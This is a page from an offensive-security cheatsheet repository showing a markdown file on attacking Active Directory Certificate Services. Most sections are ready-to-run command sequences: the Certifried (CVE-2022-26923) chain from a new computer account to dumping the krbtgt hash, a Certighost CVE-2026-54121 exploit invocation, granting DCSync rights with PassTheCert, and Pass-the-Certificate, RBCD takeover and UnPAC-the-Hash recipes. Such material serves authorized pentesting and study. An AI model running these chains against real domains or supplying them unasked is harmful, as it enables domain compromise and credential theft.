daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ad-adcs-certificate-services.md (12829B)


      1 ---
      2 title: "Active Directory - Certificate Services"
      3 section: "Active Directory"
      4 sectionSlug: "active-directory"
      5 sourcePath: "docs/active-directory/ad-adcs-certificate-services.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-certificate-services.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Active Directory - Certificate Services
     12 
     13 Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
     14 
     15 ## ADCS Enumeration
     16 
     17 * NetExec:
     18 
     19     ```ps1
     20     netexec ldap domain.lab -u username -p password -M adcs
     21     ```
     22 
     23 * ldapsearch:
     24 
     25     ```ps1
     26     ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
     27     ```
     28 
     29 * certutil:
     30 
     31     ```ps1
     32     certutil.exe -config - -ping
     33     certutil -dump
     34     ```
     35 
     36 ## Certificate Enrollment
     37 
     38 * DNS required (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`): only principals with their `dNSHostName` attribute set can enroll.
     39     * Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`.
     40     * Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD.
     41     * Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name.
     42 
     43 * Email required (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL`): only principals with their `mail` attribute set can enroll unless the template is of schema version 1.
     44     * By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves.
     45     * Users might have the `mail` attribute set, but it is rare for computers.
     46 
     47 ## Certifried CVE-2022-26923
     48 
     49 > An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
     50 
     51 * Find `ms-DS-MachineAccountQuota`
     52 
     53   ```ps1
     54   bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota 
     55   ```
     56 
     57 * Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
     58 
     59   ```ps1
     60   bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
     61   certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
     62   ```
     63 
     64 * [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
     65 
     66   ```ps1
     67   Rubeus.exe tgtdeleg
     68   export KRB5CCNAME=/tmp/ws02.ccache
     69   bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
     70   ```
     71 
     72 * Set the `dNSHostName` attribute to match the Domain Controller hostname
     73 
     74   ```ps1
     75   bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
     76   bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
     77   ```
     78 
     79 * Request a ticket
     80 
     81   ```ps1
     82   # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
     83   certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
     84   ```
     85 
     86 * Either use the pfx or set a RBCD on your machine account to takeover the domain
     87 
     88   ```ps1
     89   certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
     90 
     91   openssl pkcs12 -in dc.pfx -out dc.pem -nodes
     92   bloodyAD -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
     93   getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
     94   secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 
     95   ```
     96 
     97 ## Certighost CVE-2026-54121
     98 
     99 Patched in July 2026 update.
    100 
    101 Certighost is a vulnerability in certificate enrollment where a Certification Authority trusts a requester-controlled directory lookup target. By supplying the **cdc** and **rmd** attributes, an attacker can redirect the CA to a rogue host running SMB, LDAP, and LSA services.
    102 
    103 * `cdc` (Client DC), which identifies the host the CA should contact
    104 * `rmd` (Remote Domain), which identifies the principal the CA should look up
    105 
    106 The attacker-controlled server can return forged directory information for a chosen Domain Controller, such as its SID and DNS hostname. The CA then embeds this identity data into the issued certificate, allowing the attacker to impersonate the Domain Controller during certificate-based authentication and potentially gain replication privileges.
    107 
    108 A standard domain machine account is sufficient to pass the CA's initial authentication checks, meaning the rogue lookup server does not need to be the Domain Controller it claims to represent.
    109 
    110 * [aniqfakhrul/CVE-2026-54121](https://github.com/aniqfakhrul/CVE-2026-54121)
    111 
    112   ```ps1
    113   sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10
    114   ```
    115 
    116 ## Pass-The-Certificate
    117 
    118 > Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
    119 
    120 * Windows
    121 
    122   ```ps1
    123   # Information about a cert file
    124   certutil -v -dump admin.pfx
    125 
    126   # From a Base64 PFX
    127   Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    128 
    129   # Grant DCSync rights to an user
    130   ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
    131   # To restore
    132   ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
    133   ```
    134 
    135 * Linux
    136 
    137   ```ps1
    138   # Base64-encoded PFX certificate (string) (password can be set)
    139   gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    140   ​
    141   # PEM certificate (file) + PEM private key (file)
    142   gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    143 
    144   # PFX certificate (file) + password (string, optionnal)
    145   gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    146 
    147   # Using Certipy
    148   certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
    149   certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
    150   ```
    151 
    152 ### PKINIT ERROR
    153 
    154 When the DC does not support **PKINIT** (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output.
    155 
    156 ```ps1
    157 $ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
    158 [...]
    159 KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT)
    160 ```
    161 
    162 There is still a way to use the certificate to takeover the account.
    163 
    164 * Open an LDAP shell using the certificate
    165 
    166     ```ps1
    167     certipy auth -pfx target.pfx -debug -username username -domain domain.local -dns-tcp -dc-ip 10.10.10.10 -ldap-shell
    168     ```
    169 
    170 * Add a computer for RBCD
    171 
    172     ```ps1
    173     impacket-addcomputer -dc-ip 10.10.10.10 DOMAIN.LOCAL/User:P@ssw0rd -computer-name "NEWCOMPUTER" -computer-pass "P@ssw0rd123*"
    174     ```
    175 
    176 * Set the RBCD
    177 
    178     ```ps1
    179     set_rbcd 'TARGET$' 'NEWCOMPUTER$'
    180     ```
    181 
    182 * Request a ticket with impersonation
    183 
    184     ```ps1
    185     impacket-getST -spn 'cifs/target.domain.local' -impersonate 'target$' -dc-ip 10.10.10.10 'DOMAIN.LOCAL/NEWCOMPUTER$:P@ssw0rd123*'
    186     ```
    187 
    188 * Use the ticket
    189 
    190     ```ps1
    191     export KRB5CCNAME=DC$.ccache
    192     impacket-secretsdump.py 'target$'@target.domain.local -k -no-pass -dc-ip 10.10.10.10 -just-dc-user 'krbtgt'
    193     ```
    194 
    195 ## UnPAC The Hash
    196 
    197 Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
    198 
    199 * [ly4k/Certipy](https://github.com/ly4k/Certipy)
    200 
    201   ```ps1
    202   export KRB5CCNAME=/pwd/to/user.ccache
    203   proxychains certipy req -username "user@domain.lab" -ca "domain-DC-CA" -target "dc1.domain.lab" -template User -k -no-pass -dns-tcp -ns 10.10.10.10 -dc-ip 10.10.10.10
    204   proxychains certipy auth -pfx 'user.pfx' -dc-ip 10.10.10.10 -username user -domain domain.lab
    205   ```
    206 
    207 * [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
    208 
    209   ```ps1
    210   # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    211   Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    212   ```
    213 
    214 * [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)
    215 
    216   ```ps1
    217   # Obtain a TGT by validating a PKINIT pre-authentication
    218   gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    219   
    220   # Use the session key to recover the NT hash
    221   export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    222   ```
    223 
    224 ## Common Error Messages
    225 
    226 | Error Name                         | Description                                                                         |
    227 | ---------------------------------- | ----------------------------------------------------------------------------------- |
    228 | `CERTSRV_E_TEMPLATE_DENIED`        | The permissions on the certificate template do not allow the current user to enroll |
    229 | `KDC_ERR_INCONSISTENT_KEY_PURPOSE` | Certificate cannot be used for PKINIT client authentication                         |
    230 | `KDC_ERROR_CLIENT_NOT_TRUSTED`     | Reserved for PKINIT. Try to authenticate to another DC                              |
    231 | `KDC_ERR_PADATA_TYPE_NOSUPP`       | KDC has no support for padata type. CA might be expired                             |
    232 
    233 `KDC_ERR_PADATA_TYPE_NOSUPP` error still allow the attacker to use the certificate with the Pass-The-Cert. Since the DC's LDAPS service only check the SAN.
    234 
    235 ## References
    236 
    237 * [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
    238 * [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12)
    239 * [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547)
    240 * [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html)
    241 * [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
    242 * [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
    243 * [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
    244 * [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
    245 * [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
    246 * [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
    247 * [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
    248 * [Diving Into AD CS: Exploring Some Common Error Messages - Jacques Coertze - March 7, 2025](https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/)
    249 * [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
    250 * [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
    251 * [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)